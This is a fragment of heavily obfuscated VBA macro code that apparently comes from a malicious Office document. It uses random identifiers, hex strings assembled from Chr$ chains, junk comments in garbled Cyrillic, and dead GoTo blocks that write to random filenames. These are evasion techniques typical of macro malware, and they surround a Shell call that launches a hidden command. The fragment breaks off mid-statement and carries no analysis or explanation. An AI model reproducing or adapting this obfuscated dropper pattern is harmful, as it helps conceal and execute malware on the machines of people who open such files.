RTrim(VNOFHSZD) FQGMSOEQ = " XXCCAE " Dim PEQWYEDT, SFBGGBXB, ARTLWSIU As String PEQWYEDT = " ZIPLZR " SFBGGBXB = LTrim(PEQWYEDT) ARTLWSIU = RTrim(SFBGGBXB) '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4???????????????? LYXGBRWZ = LTrim(FQGMSOEQ) '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4???????????????? Dim BIMWGXDB, SFUVJPJP, PVPPGSXP As String '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4???????????????? BIMWGXDB = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(54) & Chr$(52) & Chr$(55) & Chr$(53) & Chr$(54) & Chr$(53) & Chr$(53) & Chr$(53) & Chr$(55) & Chr$(52) & Chr$(52) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48)) '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4???????????????? SFUVJPJP = LTrim(BIMWGXDB) '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4???????????????? PVPPGSXP = RTrim(SFUVJPJP) '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4???????????????? '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4???????????????? SXDNHQPT = RTrim(LYXGBRWZ) '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4???????????????? '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4???????????????? Dim MPNFUCHF, GQPBZZFH, PSLQWYQJ As String '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4???????????????? MPNFUCHF = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(53) & Chr$(52) & Chr$(67) & Chr$(53) & Chr$(65) & Chr$(53) & Chr$(51) & Chr$(52) & Chr$(57) & Chr$(53) & Chr$(57) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48)) '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4???????????????? GQPBZZFH = LTrim(MPNFUCHF) '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4???????????????? PSLQWYQJ = RTrim(GQPBZZFH) '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4???????????????? '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4???????????????? TKFRNZTFHUK = Shell(OSLEMFLVBSW, 1) '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4???????????????? Dim ZBTMQXCX, TPLGWMYH, LNVKNTKV As String '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4???????????????? Dim FGGRUAPT, LQXVMCAC, SADPQRJA As String '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4???????????????? FGGRUAPT = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(70) & Chr$(53) & Chr$(54) & Chr$(52) & Chr$(51) & Chr$(53) & Chr$(65) & Chr$(52) & Chr$(50) & Chr$(52) & Chr$(50) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48)) '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4???????????????? LQXVMCAC = LTrim(FGGRUAPT) '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4???????????????? SADPQRJA = RTrim(LQXVMCAC) '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4???????????????? '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4???????????????? ZBTMQXCX = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(50) & Chr$(52) & Chr$(57) & Chr$(53) & Chr$(65) & Chr$(53) & Chr$(54) & Chr$(52) & Chr$(53) & Chr$(53) & Chr$(55) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48)) '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4???????????????? Dim TUBBYSNH, MCTESCSV, OFPUJOCY As String '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4???????????????? TUBBYSNH = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(57) & Chr$(52) & Chr$(69) & Chr$(53) & Chr$(51) & Chr$(52) & Chr$(52) & Chr$(52) & Chr$(69) & Chr$(52) & Chr$(53) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48)) '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4???????????????? MCTESCSV = LTrim(TUBBYSNH) '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4???????????????? OFPUJOCY = RTrim(MCTESCSV) '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4???????????????? '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4???????????????? TPLGWMYH = LTrim(ZBTMQXCX) '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4???????????????? Dim DIEVVYVZ, BFGAALZD, CVLGBWUQ As String '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4???????????????? DIEVVYVZ = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(66) & Chr$(52) & Chr$(55) & Chr$(52) & Chr$(55) & Chr$(53) & Chr$(56) & Chr$(52) & Chr$(69) & Chr$(52) & Chr$(66) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48)) '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4???????????????? BFGAALZD = LTrim(DIEVVYVZ) '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4???????????????? CVLGBWUQ = RTrim(BFGAALZD) '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4???????????????? '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4???????????????? LNVKNTKV = RTrim(TPLGWMYH) '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4???????????????? '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4???????????????? Dim WBKZHLSZ, KBZFQVOE, DNSBTZUR As String '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4???????????????? WBKZHLSZ = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(65) & Chr$(52) & Chr$(49) & Chr$(53) & Chr$(54) & Chr$(53) & Chr$(57) & Chr$(52) & Chr$(52) & Chr$(52) & Chr$(56) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48)) '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4???????????????? KBZFQVOE = LTrim(WBKZHLSZ) '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4???????????????? DNSBTZUR = RTrim(KBZFQVOE) '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4???????????????? '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4???????????????? '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4???????????????? End Function '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4???????????????? 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Sub ZFCAHVQGVAT() 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Dim IYVYGKJX, MSPOJTMU, YKXSLLCK As String 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Dim QPBFIDJA, GTUIWUOK, MAGEIZNP As String 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа GoTo FQFLznCe 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Dim OSVyxRmr As String 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Open "EUJXIT.BAL" For Binary As 37 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Put #37, , OSVyxRmr 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Close #37 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа FQFLznCe: 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа QPBFIDJA = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(68) & Chr$(53) & Chr$(56) & Chr$(52) & Chr$(53) & Chr$(53) & Chr$(53) & Chr$(52) & Chr$(52) & Chr$(52) & Chr$(66) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48)) 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа GoTo ohOsDrCL 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Dim tjLciomM As String 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Open "DWGTAM.OHJ" For Binary As 73 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Put #73, , tjLciomM 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Close #73 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа ohOsDrCL: 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа GTUIWUOK = LTrim(QPBFIDJA) 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа GoTo rLynyhnv 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Dim NMhDnmVb As String 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Open "QPNSPB.URZ" For Binary As 68 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Put #68, , NMhDnmVb 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Close #68 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа rLynyhnv: 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа MAGEIZNP = RTrim(GTUIWUOK) 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа GoTo szKZfieE 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Dim uezFIdnR As String 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Open "FGLDFW.POW" For Binary As 71 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Put #71, , uezFIdnR 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Close #71 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа szKZfieE: 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа GoTo wJgJQXmZ 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Dim kKvetNKE As String 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Open "LORMNG.HEU" For Binary As 98 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Put #98, , kKvetNKE 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Close #98 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа wJgJQXmZ: 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа IYVYGKJX = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(55) & Chr$(53) & Chr$(65) & Chr$(52) & Chr$(52) & Chr$(52) & Chr$(69) & Chr$(53) & Chr$(55) & Chr$(53) & Chr$(49) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48)) 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Dim KIPYXPZN, MLBNYUSM, OORRQLCZ As String 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа GoTo RKFJjdKK 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Dim bKVeQkhL As String 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Open "JBDSAT.DLG" For Binary As 18 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Put #18, , bKVeQkhL 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Close #18 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа RKFJjdKK: 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа KIPYXPZN = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(51) & Chr$(52) & Chr$(69) & Chr$(52) & Chr$(66) & Chr$(52) & Chr$(65) & Chr$(53) & Chr$(55) & Chr$(52) & Chr$(55) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48)) 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа GoTo gYQemIFU 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Dim qUWhGDsI As String 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Open "HRHAKO.SVK" For Binary As 86 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Put #86, , qUWhGDsI 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Close #86 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа gYQemIFU: 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа MLBNYUSM = LTrim(KIPYXPZN) 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа GoTo gUIgEYvG 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Dim pIKnVQXH As String 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Open "HRFYXI.SVH" For Binary As 86 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Put #86, , pIKnVQXH 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Close #86 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа gUIgEYvG: 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа OORRQLCZ = RTrim(MLBNYUSM) 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа GoTo FIyvlsSD 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Dim PIhPDhpF As String 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Open "ETNQJC.BBZ" For Binary As 36 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Put #36, , PIhPDhpF 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Close #36 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа FIyvlsSD: 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа GoTo rMrTLalM 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Dim NMgJftHW As String 'щОШЩзруц 